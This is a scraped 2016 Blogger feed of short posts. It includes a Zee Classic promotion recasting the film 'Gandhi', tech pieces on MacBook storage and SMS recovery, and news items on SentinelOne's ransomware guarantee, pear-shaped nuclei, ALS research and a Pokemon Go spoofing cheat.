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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw8mad20H5uPiQQO4QrOg4JGuWyolLA2bcDqnb7xzTeWYFNxWCMqZDA0vaZm991LjuPJle-513rM3w18nRsFJasfdReoTqfcnmEMbVuct3b47NFlidMEPH3tgaggWRzQ7hIECLPWQJtemU/s1600/zee+3.jpg"><img alt="Gandhi" border="0" height="273" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw8mad20H5uPiQQO4QrOg4JGuWyolLA2bcDqnb7xzTeWYFNxWCMqZDA0vaZm991LjuPJle-513rM3w18nRsFJasfdReoTqfcnmEMbVuct3b47NFlidMEPH3tgaggWRzQ7hIECLPWQJtemU/s400/zee+3.jpg" title="Gandhi" width="400" /></a></div>
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<b><i><span lang="EN-US">1982: Rohini Hoattangadi</span></i></b><span lang="EN-US">, beautifully portrayed Kasturba Gandhi, wife of Mohandas Karamchand Gandhi. </span></div>
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<b><i><span lang="EN-US">2016:</span></i></b><span lang="EN-US"> <b><i>Kajol, </i></b>one of India’s most acclaimed actresses can easily pull off the role of Baa. </span></div>
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<b><u><span lang="EN-US" style="font-size: 14.0pt;">General Dyer</span></u></b></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkjf5mIfE8Z0oJiek-e4EefnC-v1X6Y8USqUB5UCjNHGKn7VOqjv8ZPMAG4RoNoNijbwExpFRw42T5mPB0Vho8mAHmHwZunsO-mhMwJNmsc1eKiyWGOiDC8yW_jyMFpPgik1BfoXn11nnB/s1600/zee+4.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Gandhi" border="0" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkjf5mIfE8Z0oJiek-e4EefnC-v1X6Y8USqUB5UCjNHGKn7VOqjv8ZPMAG4RoNoNijbwExpFRw42T5mPB0Vho8mAHmHwZunsO-mhMwJNmsc1eKiyWGOiDC8yW_jyMFpPgik1BfoXn11nnB/s400/zee+4.jpg" title="Gandhi" width="400" /></a></div>
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<b><i><span lang="EN-US">1982: Edward Fox</span></i></b><span lang="EN-US"> is etched in our minds as the dreadful and shrewd General Dyer who was hated by all for his infamous <i>Jallianwala Bagh</i> massacre. </span></div>
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<b><i><span lang="EN-US">2016: Tom Alter</span></i></b><span lang="EN-US"> with his international looks and versatile talent can be General Dyer in ‘Gandhi’.</span></div>
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<b><u><span lang="EN-US" style="font-size: 14.0pt;">Jawahar Lal Nehru</span></u></b></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvJZUn6wBj_8DrZR_hc0EQSGfh2JHA-nx3x8dOeqXFqEjvmmeX4wsKisXLJSahM2JUqmaWMycz0OO8clV-RucRXf1oWsQDAZzxi1dPoYyDoTXKbNucFXcsu7EpeVQiQlWAVEj8oXBLMue7/s1600/zee+5.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Gandhi" border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvJZUn6wBj_8DrZR_hc0EQSGfh2JHA-nx3x8dOeqXFqEjvmmeX4wsKisXLJSahM2JUqmaWMycz0OO8clV-RucRXf1oWsQDAZzxi1dPoYyDoTXKbNucFXcsu7EpeVQiQlWAVEj8oXBLMue7/s400/zee+5.jpg" title="Gandhi" width="400" /></a></div>
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<b><i><span lang="EN-US">1982: Roshan Seth</span></i></b><span lang="EN-US"> played the role of Pandit Jawaharlal Nehru to perfection. </span></div>
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<b><i><span lang="EN-US">2016: The Nawab of Bollywood, Saif Ali Khan</span></i></b><span lang="EN-US"> wins hands down with his charming royal looks.<b><i></i></b></span></div>
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<b><u><span lang="EN-US" style="font-size: 14.0pt;">Sardar Patel</span></u></b></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhkgQJH3qpmaxLRwxIf2WJypGQQpfWkOVglxxOGDHOmOvsZ4jn7MH8nHlGLmSKF8EBOZOdYtQNgIWJ5MrjaaYZbBvKUBWIcXl28359i3nRXJVZ0m9FCxqYIG3RwIppFmnpRv5EX5yDo4c2/s1600/zee+6.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="1982: Roshan Seth played the role of Pandit Jawaharlal Nehru to perfection. 2016: The Nawab of Bollywood, Saif Ali Khan wins hands down with his charming royal looks. Sardar Patel" border="0" height="271" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhkgQJH3qpmaxLRwxIf2WJypGQQpfWkOVglxxOGDHOmOvsZ4jn7MH8nHlGLmSKF8EBOZOdYtQNgIWJ5MrjaaYZbBvKUBWIcXl28359i3nRXJVZ0m9FCxqYIG3RwIppFmnpRv5EX5yDo4c2/s400/zee+6.jpg" title="1982: Roshan Seth played the role of Pandit Jawaharlal Nehru to perfection. 2016: The Nawab of Bollywood, Saif Ali Khan wins hands down with his charming royal looks. Sardar Patel" width="400" /></a></div>
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<b><i><span lang="EN-US">1982:</span></i></b><span lang="EN-US"> <b><i>Saeed Jaffery</i></b> pulled off the role of The Iron Man of India, Sardar Patel flawlessly. </span></div>
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<b><i><span lang="EN-US">2016: Paresh Rawal’s</span></i></b><span lang="EN-US"> known for his diverse character roles makes him our choice to play the part.</span></div>
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<b><u><span lang="EN-US" style="font-size: 14.0pt;">Mohammad Ali Jinnah</span></u></b></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-fGhiFjsozhSvECHzSfLVYk3NMtrLv2OcVPKJvgSWqUHN4fCUDVbzdwZ2-B_cnSJr_XWEJjocSWzn-7yPwG_smPz0QcHyP8J3skQI5ce8k8Xt_WJRzt1siKbNGKeqDfdhXBjKUZ6VjldP/s1600/zee+7.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Gandhi" border="0" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-fGhiFjsozhSvECHzSfLVYk3NMtrLv2OcVPKJvgSWqUHN4fCUDVbzdwZ2-B_cnSJr_XWEJjocSWzn-7yPwG_smPz0QcHyP8J3skQI5ce8k8Xt_WJRzt1siKbNGKeqDfdhXBjKUZ6VjldP/s400/zee+7.jpg" title="Gandhi" width="400" /></a></div>
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<b><i><span lang="EN-US">1982:</span></i></b><span lang="EN-US"> <b><i>Alyque Padamsee</i></b> brought to life an important historic figure, Mohammad Ali Jinnah, popularly known as the father of Pakistan in history</span></div>
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<b><i><span lang="EN-US">2016: Irrfan Khan, </span></i></b><span lang="EN-US">a global Indian will surely cut ice in this role.</span></div>
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<b><u><span lang="EN-US" style="font-size: 14.0pt;">Lord Mountbatten</span></u></b></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSNp6iUeyDqq2VMbrFHzVjHywZ6gt92c7VxoH8PJ6AprikcJ9cJXCzkLV0ETL2n-ud9xQAvAew3airhfhzsRDycfdDmubrbGfF7fp_E6ryQrk1HSiZ1pmIUmhY5sPbgYNXytwNdxZYxDsF/s1600/zee+8.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Gandhi" border="0" height="273" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSNp6iUeyDqq2VMbrFHzVjHywZ6gt92c7VxoH8PJ6AprikcJ9cJXCzkLV0ETL2n-ud9xQAvAew3airhfhzsRDycfdDmubrbGfF7fp_E6ryQrk1HSiZ1pmIUmhY5sPbgYNXytwNdxZYxDsF/s400/zee+8.jpg" title="Gandhi" width="400" /></a></div>
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<b><i><span lang="EN-US">1982: Peter Harlowe</span></i></b><span lang="EN-US"> played the part with the sternness of a bureaucrat and an attitude on his face.</span></div>
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<b><i><span lang="EN-US">2016:</span></i></b><i><span lang="EN-US"> </span></i><span lang="EN-US">The suave<b>, <i>Rajat Kapoor</i></b> has our vote to play the last viceroy of the British Indian Empire.</span></div>
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<span lang="EN-US" style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%;">Whether it was 1982 or 2016, the story of the man who brought India independence needs to be told and needs to be heard! </span></div>
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<b><span lang="EN-US" style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%;">Tune-in to Zee Classic to watch <i>Richard Attenborough </i>directed ‘Gandhi’ on this Saturday, 13th August at 8 PM and Monday, 15th August at 9:30 AM</span></b></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-51502059864175276392016-07-30T15:40:00.000+05:302016-07-30T15:40:00.793+05:30Expand your MacBook’s storage with these three methods<div dir="ltr" style="text-align: left;" trbidi="on">
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Running out of storage space on MacBook? Check these three ways to expand your MacBook’s storage</h2>
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MacBooks are not only good, slim, and light but they are also reliably fast. However, when your MacBook’s SSD (Solid State Drive) starts to reach its capacity, external storage is one of the first logical places to look for help. While external hard drives and memory sticks are solutions to the problem, you may be forced to carry around a portable hard drive everywhere you go.</div>
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So, what if you do not want tug around the external storage wherever you go? The answer to this problem comes in the form of another type of external storage: the SD card.</div>
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In this article, we provide you three options that not only provide great portability but also offer users with lots of extra storage space.</div>
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<strong>TarDisk Pear</strong></div>
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The TarDisk Pear is a supplemental storage device for Mac laptops that resembles a shorter, metal version of an SD card, and slips into the SD card slot in your MacBook. TarDisk is designed to merge with your existing drive, giving you one, much bigger, single volume for storage. It has also been designed to seamlessly merge with your MacBook’s exterior. The Pear is a supplemental storage device for Mac laptops that resembles a shorter, metal version of an SD card, and slips into the SD card slot in your MacBook. What is cool about </div>
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TarDisk’s solution is that it runs the heavy load on your machine’s SSD and keeps all other less important files on the Pear. All you need to do is slot into your computer’s SD port and you will be up and running in seconds. However, please note that the Pear not only does capture your SD card slot, but also it is not cheap. The 256GB option for the MacBook Pro costs $399 on Amazon.</div>
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<strong>Samsung T3</strong></div>
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Samsung T3, which is a tiny portable SSD is extremely small and offers read/write speeds of up to 450 MB/s. It is also shock resistant and offers secure data encryption, which is becoming more important than ever. Unluckily, the small devices aren’t exactly cheap. The 500GB option costs $169, while the 2TB one comes for a huge $749.</div>
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<strong>SanDisk Ultra Fit</strong></div>
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One of the tiniest and simplest way to expand your computer’s storage is through the SanDisk Ultra Fit. The Ultra Fit provides read speeds up to 150 MB/s, write speeds up to 15x faster than a standard USB 2.0 drive, and optional SecureAccess software. These are very inexpensive too, such as the 128GB model is currently available for $30 through Amazon.</div>
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To learn more about these three storage solutions, check out the video above. Ron pretty much lives his life on the go, so he’ll tell you what it’s like to use these different options and what works best for someone who edits video for a living.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-84633310709559947182016-07-30T13:36:00.002+05:302016-07-30T13:36:43.510+05:30New discovered Pear-Shaped Nucleus dashes human time travel hopes<div dir="ltr" style="text-align: left;" trbidi="on">
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Scientists confirm a pear-shaped nucleus that could dash travel hopes</h2>
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Looks like time travel by humans will remain a distant dream. Scientists based in Scotland have discovered the existence of a pear-shaped nucleus, which not only violates some laws in physics, but also suggests that <strong>time travel is not possible</strong>. Also, the nuclei of some atoms are not symmetrical. Up until now it was believed that time travel was possible but Scottish researchers have now turned the idea on its head.</div>
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First observed by researchers from CERN in the isotope Radium-224 in 2013, the pear-shaped, asymmetrical nuclei is also present in the isotope Barium-144. This recent confirmation shows that it is possible to have a nuclei that has more mass on one side than the other.</div>
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“This violates the theory of mirror symmetry and relates to the violation shown in the distribution of matter and antimatter in our Universe,” said Marcus Scheck of University of the West of Scotland, one of the authors of the study.</div>
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The researchers said that until recently, there were three shapes of nuclei — spherical, discus, and rugby ball. The shapes are fashioned by the distribution of electrical charge within a nucleus. They are determined by the particular combinations of protons and neutrons in a particular type of atom, whether it's a hydrogen atom, a zinc atom or a complex isotope created in a lab.</div>
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They further explained that the common factor across all three shapes is their symmetry and this joins nicely with a theory in a particle, which is referred to as CP-Symmetry. This is the amalgamation of two symmetries that are thought to exist in the Universe. They are the P-Symmetry and C-Symmetry.</div>
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In the end, this could help us understand why our universe is the way that it is. As astrophysicist Brian Koberlein notes, “It’s been proposed that a violation of CP symmetry could have produced more matter than antimatter, but the currently known violations are not sufficient to produce the amount of matter we see. If there are other avenues of CP violation hidden within pear-shaped nuclei, they could explain this mystery after all.”</div>
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This uneven distribution of mass and charge in the nuclei causes Barium-144’s nucleus to point in a certain direction in space-time. The team suggests that this could explain why time seems to only go forward and not backward, even if the laws of physics are undetermined on the outcome.</div>
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<br />“We’ve found these nuclei literally point towards a direction in space. This relates to a direction in time, proving there’s a well-defined direction in time and we will always travel from past to present,” Marcus told BBC News.</div>
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The experiment will now be repeated by a team led by Marcus at the Isotope Separator On Line Detector (ISOLDE) facility at CERN in Switzerland. As ISOLDE can generate Barium-144 nuclei in huge amounts, it will be helpful in discerning whether the nuclei were even more pear shaped than had been expected by the initial measurements.</div>
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In the end, the discovery could be yet another indication that the universe might not be as symmetrical as the Standard Model of Physics requires it to be, which could propel us to a new era of theoretical physics.</div>
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The study has been published in <a data-mce-href="http://journals.aps.org/prl/abstract/10.1103/PhysRevLett.116.112503" href="http://journals.aps.org/prl/abstract/10.1103/PhysRevLett.116.112503">Phyiscal Review Letters</a>, and can be accessed for free <a data-mce-href="http://arxiv.org/pdf/1602.01485v1.pdf" href="http://arxiv.org/pdf/1602.01485v1.pdf">at arXiv.org</a>.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-65792311376714542262016-07-30T13:32:00.000+05:302016-07-30T13:32:00.209+05:30How to recover deleted text messages on your Android smartphone<div dir="ltr" style="text-align: left;" trbidi="on">
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Here is how to retrieve deleted text messages on your Android smartphone</h2>
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Have you ever experienced a situation where in you accidentally hit on the delete button and all your SMS messages are gone? Desperate users will go through anything to save those crucial messages if the trashed information is important enough.</div>
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However, recovering deleted messages is no easy feat. Whether it is single or multiple messages, you need to act fast. While lost messages are recoverable, only until the portion of memory on which they were saved is over-written by an app update, file download or similar. This is exactly possible with Android smartphones. In other words, everything we delete, including SMS messages, sticks around until enough time passes by and/or the space is needed to store other data.</div>
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So, grab your phone and your computer and learn how to recover deleted text messages on Android.</div>
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<strong>MobiKin Doctor for Android</strong></div>
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The quickest way to recover lost or deleted messages is to get a quality program that swiftly recovers them. MobiKin Doctor for Android is an excellent system that rapidly and efficiently recovers all of your text messages.</div>
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<strong>How to recover deleted text messages on Android</strong></div>
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Compatibility is the most vital feature of a text message recovery program. MobiKin Doctor for Android supports over 2,000 Android device models, such as HTC, Samsung, Motorola, LG, Sony, Asus and many more.</div>
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MobiKin Doctor for Android is not only perfect at retrieving text messages but also in recovering huge amount of other kind of valuable data. You can get lost or deleted contacts, photos, movies, music, documents and many more. You can recover them in their original format and make changes to them as per your liking.</div>
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So, what are you waiting for? Download the reliable and effective MobiKin Doctor for Android now and recover all your lost or deleted text messages. You can also create a backup of everything on your PC or Mac so that you always have a copy of it.</div>
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<strong>FonePaw Android Recovery</strong></div>
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FonePaw Android Data Recovery can identify and recover deleted or lost files from Android devices through a clean and intuitive UI (user interface). It is a top-class tool for recovering your lost data, as it comes with a powerful data recovery capacity that supports multiple Android OS versions and devices.</div>
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<strong>How to never lose a text message again</strong></div>
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Alternatively, if you do not wish to use PC to recover your lost messages, then in such a scenario it would be advisable to back up your SMS messages on a regular basis. The good news in doing so only takes five minutes.</div>
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You can use a free app called SMS Backup & Restore. It's straightforward, looks nice and works perfectly. <em>Please see the steps below to follow it</em>:</div>
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<strong>1.</strong> Download SMS Backup & Restore app. Once you have downloaded it, open the app and tap Backup.</div>
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<strong>2.</strong> Next, select what exactly you want to create a backup of. If you want to send your backup to Google Drive, Dropbox or an email address, tap Local backup and upload.</div>
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<strong>3.</strong> Select from the list that appears on the screen and then tap OK.</div>
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<strong>4.</strong> Tap Restore on the app's home screen to restore your backed-up SMS messages. Then, on the Restore Backup page, you can just tap the backup name in the list to restore it (if it's stored locally).</div>
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<strong>5.</strong> If your backup is stored in the cloud, tap the overflow menu (three dots) at the top right, then Load from and choose whichever cloud service it's stored on.</div>
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<strong>6.</strong> There are lots of extra options in SMS Backup & Restore, including scheduled backups and password protection. You can find these by tapping the overflow menu icon at the top right of the app's home screen, then hit Preferences.</div>
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Aren’t the methods mentioned above the simplest way to recover your accidentally deleted text messages? If you know any other methods to recover lost messages, then please share them in the comments section below.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-33957610639538178202016-07-30T13:22:00.000+05:302016-07-30T13:22:20.188+05:30SentinelOne offers users reimbursement for ransomware infections<div dir="ltr" style="text-align: left;" trbidi="on">
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SentinelOne financially guarantees up to $1 million in damages for any customers infected by ransomware</h2>
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US-based cyber-security firm SentinelOne has announced a “Cyber Threat Guarantee” that will provide customers with financial protection in the event of ransomware attacks on their networks. The company said that the guarantee provides users with financial support of $1000 per endpoint, or it will cover up to US$1 million in damages for any customers who are infected by ransomware.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG6tzXOIZXoklVy90DipYZuEqdFK1sLNQYtqzTHCFcyXtkco9wNX0h-qQTGpgUaJkkoeQtVEyXoXNsvncoPouyQDMGs3ZF0Zv8Yrm3bLBcxBQfh6X1v0pxw7OqQH0Al_LMmR5BwTP-NStp/s1600/sentinelone.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="SentinelOne financially guarantees up to $1 million in damages for any customers infected by ransomware" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG6tzXOIZXoklVy90DipYZuEqdFK1sLNQYtqzTHCFcyXtkco9wNX0h-qQTGpgUaJkkoeQtVEyXoXNsvncoPouyQDMGs3ZF0Zv8Yrm3bLBcxBQfh6X1v0pxw7OqQH0Al_LMmR5BwTP-NStp/s400/sentinelone.jpg" title="SentinelOne financially guarantees up to $1 million in damages for any customers infected by ransomware" width="400" /></a></div>
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The user or the company can then use this money to pay the ransom and recover their files.<br />“Apparently some of the top re-insurers in the world agree with us," a SentinelOne spokesperson explains. "[I]f we miss something and you get infected - we’ll pay the ransom. </div>
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It’s that simple. And its how security is supposed to be. If you can block something - why not guarantee it? Would you buy a new shiny car without manufacturer warranty?"</div>
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Tomer Weingarten, co-founder and CEO of SentinelOne, said that it was keen to deal with ransomware in a “head-on way”. At a roundtable held last night in central London, he explained: “For an infection to take place it has to be in the wild, it has to be able to provide forensic evidence and we can see in real time if it is you hacking yourself and there are a lot of traces to cover."</div>
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“For ransomware writers, they don’t care about who they infect. We are just there to provide the comfort. We are the mechanism to get protected and if you get encrypted, we can cover the business interruption and you don’t have to pay the ransom if we did not fulfil our role in protecting you and we don’t encourage you to pay the ransom.”</div>
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However, Jeremiah Grossman, its chief of security strategy is convinced that the company wouldn’t have to make any pay outs. SentinelOne’s failure rate in stopping ransomware attacks is “way less than 1 percent,” he said in an interview.</div>
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He added that during the times its security failed, the client’s computer hadn’t been running the latest version of SentinelOne’s software.</div>
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Grossman hopes the guarantee will bring some accountability to the cybersecurity industry, and allow customers “navigate around outlandish marketing claims.”</div>
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“When security vendors sell products they are not giving a guarantee, which is completely different from any other space, whether it be electronics or cars,” he added.</div>
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SentinelOne’s guarantee works like this: the company will pay up to $1,000 to free the system for individual computers infected with ransomware. The number of computers it will cover is up to 1,000 systems.</div>
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“You pay, say $20 per endpoint to your antivirus vendor and they won’t pay for your ransom and you have to pay an extra $500 to get rid of your ransomware and you pay the pirate. We say pay us a $5 premium and you won’t have to pay that $500,” said Weingarten.</div>
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The policy has been designed this way because most ransomware attackers ask for around $250 or more to decrypt any data held hostage, Grossman said.</div>
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Customers who opt-in to the guarantee will pay an additional $5 fee for each Windows PC or server protected on top of their existing service. The coverage will last a year before it can be renewed again.</div>
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Whether that guarantee makes SentinelOne a target of hackers remains to be seen. Grossman said he doesn’t think that will happen. He added that hackers don’t basically target victims based on who insures them.</div>
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Instead, he hopes that the company’s guarantee will help customers distinguish between legitimate security firms and “snake oil vendors” offering inferior products.</div>
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“I’m ready for all the other vendors to guarantee what they do,” he said. “I think that’s far superior than us competing for customers with billboard presentations.”</div>
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SentinelOne is ready to stand up and say that technology is failing to provide sufficient protection, and that a better guarantee is needed. It’s the first to offer such a guarantee, and “no other cybersecurity company is currently offering to back their security technology with guaranteed financial remuneration”.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-81216149072134973122016-07-30T13:06:00.000+05:302016-07-30T13:06:11.436+05:30The Best Pokemon Go Cheat Ever iPhone Users Can Have<div dir="ltr" style="text-align: left;" trbidi="on">
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This ultimate Pokemon Go cheat lets you walk anywhere in the game without moving an inch</h2>
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Pokemon Go, the popular augmented reality mobile game, has become a rage from the time it was launched on July 6, 2016. The free game allows people to catch, train and battle their Pokemon ‘in the real world’ by walking outdoors and interacting with other users. Players can also pick up supplies at real-world landmarks that serve as ‘PokeStops’ in the game. </div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdcVG0j60Pz_0VPWC4bqpXChYpOedlhLaf_myk1Oqf29H3hKPnE-sPW4ZcRcUAq_sm1dfxZ8zfcCKdFN7Holc6c3wTixw9_D6UCtzY3Jau9FboCzlFS-YwOtKybxJrxOGp9OWAtNKvwI3j/s1600/pokemon2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="This ultimate Pokemon Go cheat lets you walk anywhere in the game without moving an inch" border="0" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdcVG0j60Pz_0VPWC4bqpXChYpOedlhLaf_myk1Oqf29H3hKPnE-sPW4ZcRcUAq_sm1dfxZ8zfcCKdFN7Holc6c3wTixw9_D6UCtzY3Jau9FboCzlFS-YwOtKybxJrxOGp9OWAtNKvwI3j/s400/pokemon2.jpg" title="This ultimate Pokemon Go cheat lets you walk anywhere in the game without moving an inch" width="400" /></a></div>
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However, finding Pokemon can be a wearisome job, as it requires lots of walking to catch them all.</div>
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The internet has been flooded with cheats, tips and tricks to make the job of discovering and hunting of rare Pokemon easier while sitting on your couch. However, that is certainly not how the game is meant to be played.</div>
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We have got just the perfect cheat for you that lets you use the official Pokemon Go app to play the game just like everyone else. In this, you will be able to walk your character around independently of your actual location and you control him or her with a joystick. However, note that cheating can get you banned, and in most of the cases, this is what happens. </div>
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Android users have tried faking their locations, and they got soft banned (no Pokemon show up on their maps), and there’s no doubt that Niantic would do the same thing on iPhone if it discovers anything suspicious for some players.</div>
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The next caution is even more important. In order to make use of this cheat, you will need to jailbreak your iPhone. While jailbreaking an iPhone can be done now without having to connect to a computer, not everyone is comfortable in doing it though. If that’s the case, then this hack isn’t for you.</div>
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Check out the video below for full instructions for installing the hack. Once installed, you will be prompted with some on-screen buttons in Pokemon Go that allow you to move the character around on the map, as you would typically walk on the street with your smartphone in hand.</div>
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This way, Pokemon Go is fooled into believing that you are the one moving and hunting Pokemon, as the cheat is also faking the location as you move around. In order to reproduce the typical moves that a human being would do when walking, there are numerous controls, and you can even boost your moves. There are a lot of other features baked in, such as the ability to track rare Pokemon even before they appear.</div>
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At Techworm, we do not encourage this kind of cheating, and we advise you too against it. We are not responsible for any consequences.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-91783178609755272172016-07-30T13:01:00.000+05:302016-07-30T13:01:11.765+05:30Scientists discover gene responsible for ALS with the help of funds raised from Ice Bucket Challenge<div dir="ltr" style="text-align: left;" trbidi="on">
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$100m donations in Ice Bucket Challenge has allowed researchers to discover a new gene linked to ALS</h2>
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Two summers ago, when video clips of topless men and screaming women pouring buckets of ice water over them filled the internet, people thought it was silly.<br />
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The idea was to raise money for Amyoptrophic Lateral Sclerosis (ALS) - a rare, progressive neurodegenerative disease that affects nerve cells in the brain and the spinal cord, eventually leading to the loss of muscle control. Within two to five years of diagnosis, patients lose their ability to breathe, leading to their death.</div>
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Now, the Internet Ice Bucket Challenge that encouraged millions of people to dump buckets of ice-cold water over their heads has managed to collect enough funds to make an important breakthrough in ALS research.</div>
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The huge, socially-driven fund raising push saw 17 million people posting videos online and a slew of celebrities from Bill Gates to Steph Curry getting soaked to raise awareness for ALS, also called Lou Gehrig's disease.</div>
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In just eight weeks, $115 million was donated to the ALS Association, 67% of which was dedicated to advancing research for treatments and a cure, the non-profit reports.</div>
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Recently, the University Of Massachusetts Medical School's Project MinE discovered the gene that is responsible for ALS. Project MinE scientists were able to research this gene with help from the ALS Association, which donated $1 million from the Ice Bucket Challenge.</div>
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The identified gene is NEK1, which its alternative could provide clues to understanding and potentially treating familiar and sporadic ALS.</div>
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"The sophisticated gene analysis that led to this finding was only possible because of the large number of ALS samples available," said Dr. Lucie Bruijin, Chief Scientist at the ALS Association. "The ALS Ice Bucket Challenge enabled The ALS Association to invest in Project MinE's work to create large biorepositories of ALS biosamples that are designed to allow exactly this kind of research and to produce exactly this kind of result."</div>
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The association says that this is the third ALS-related gene researchers have discovered using money from the Ice Bucket Challenge. “The ALS Ice Bucket Challenge enabled us to secure funding from new sources in new parts of the world," Bernard Muller, founder of Project MinE and ALS patient, said in a statement. "This transatlantic collaboration supports our global gene hunt to identify the genetic drivers of ALS."</div>
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Next month, the ALS Association is launching a new campaign, Every Drop Adds Up, in an effort to recreate the success of the Ice Bucket Challenge.</div>
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<span style="background-color: white;">ALS affects four to eight per 100,000 people and approximately 5,000 are diagnosed each year in the U.S.</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-1873272820681998702016-07-19T14:17:00.000+05:302016-07-19T14:17:08.793+05:30Classics Forever : Zee Classics to air India's finest films every Saturday at 10 PM 16th July onwards<div dir="ltr" style="text-align: left;" trbidi="on">
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‘India’s Finest Films’ starting on 16th July, every Saturday at 10 PM</h2>
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Most millennials don't remember a 'Mirch Masala' or a 'Ek Doctor Ki Maut.' Yes, such movies are considered as cult classics and are a part of Indian movies alternative and parallel cinema. If you thought <span style="text-align: justify;">Bollywood movies were just running around the trees and beating hell out of villains, you will change your mind after watching this classics.</span><br />
<span style="text-align: justify;"><br /></span> <span style="text-align: justify;">These classics have mild dose of humour with a dash of romance and lot of <b>mirch masala. </b>Most of them try to bring out the essence of real India which is surely missed in mainstream Bollywood fixtures. Sometimes these classics bring out </span><span style="text-align: justify;">something historical, contemporary, something more deep rooted and intense. This why more often than not, these movies will live you stunned and make you question certain deep-rooted prejudices that wrought our society. Some of these movies might actually end up changing your mindsets while others may fill you with deep sense of emotional turmoil. </span><br />
<span style="text-align: justify;"><br /></span> <span style="text-align: justify;">Indian Cinema, over the years, has beautifully transformed and </span>re-invented<span style="text-align: justify;"> itself. From socially relevant topics of child marriage, dowry, female feticide, re-marriage to a simple love story, film-makers have done it all.</span></div>
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<span lang="EN-US">With its proposition of <b>‘Woh Zamaana Kare Deewana’,</b> Zee Classic is India's only Hindi movie channel that endeavors to recreate the magic of iconic classic and new age cinema by showcasing not just the films that shaped Indian cinema, but also acquaint viewers with the creative talent who were a part of that timeless era. Zee Classic boasts of an outstanding library of Indian cinematic classics and it has recently associated with National Film Development Corporation of India (NFDC). <b>Starting 16<sup>th</sup> July, every Saturday at 10 PM, Zee Classic will premiere ‘India’s Finest Films’, a distinguished property showcasing masterpieces like ‘Mirch Masala’, ‘Ek Doctor ki Maut’, ’27 Down’ and ‘Salaam Bombay’ amongst many other such gems from the NFDC library</b>. These movies mark the debut of icons like <b>Irrfan Khan, Pankaj Kapur, Naseeruddin Shah</b> and many more. This festival kickstarts with <b>‘Salaam Bombay!’</b> directed by <b>Mira Nair</b> on Saturday, 16th July at 10 PM.</span></div>
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<b><span lang="EN-US" style="font-size: 14.0pt;">Here is a list of 14 movies you cannot afford to miss: </span></b></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US"><span style="font-size: 7pt; font-stretch: normal; font-weight: normal; line-height: normal;"> </span></span></b><b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">Salaam Bombay!</span></b></div>
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<span lang="EN-US">In 1988, <b>Mira Nair</b> made her directorial film debut with <b>Salaam Bombay!</b> which chronicled the lives of a group of street children in Mumbai. Inspired by the actual street children of Mumbai who starred in the movie, the film won awards across the globe for its authenticity and unwavering portrayal of the life of Mumbai's abandoned and homeless youth. </span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8b859xhiPQQXQSLuLip04fe1QPnGogyuJ2-cDjD2TqkqsVlKUdsOuXoIFMJ1QTAYyrJEkJ_LI0vbQaXGNugM7dBkyC0auy0Q7-swg7x7YHAbyLvPHSRAJipXva8g1k0EKaEVAJFMG2tl8/s1600/Salaam+Bombay.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Salaam Bombay!’ on 16th July at 10 PM on Zee Classic" border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8b859xhiPQQXQSLuLip04fe1QPnGogyuJ2-cDjD2TqkqsVlKUdsOuXoIFMJ1QTAYyrJEkJ_LI0vbQaXGNugM7dBkyC0auy0Q7-swg7x7YHAbyLvPHSRAJipXva8g1k0EKaEVAJFMG2tl8/s400/Salaam+Bombay.jpg" title="Catch ‘Salaam Bombay!’ on 16th July at 10 PM on Zee Classic" width="400" /></a></div>
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<span lang="EN-US" style="font-family: "calibri" , "sans-serif"; font-size: 11.0pt;">Catch ‘Salaam Bombay!’ on 16<sup>th</sup> July at 10 PM on Zee Classic</span></div>
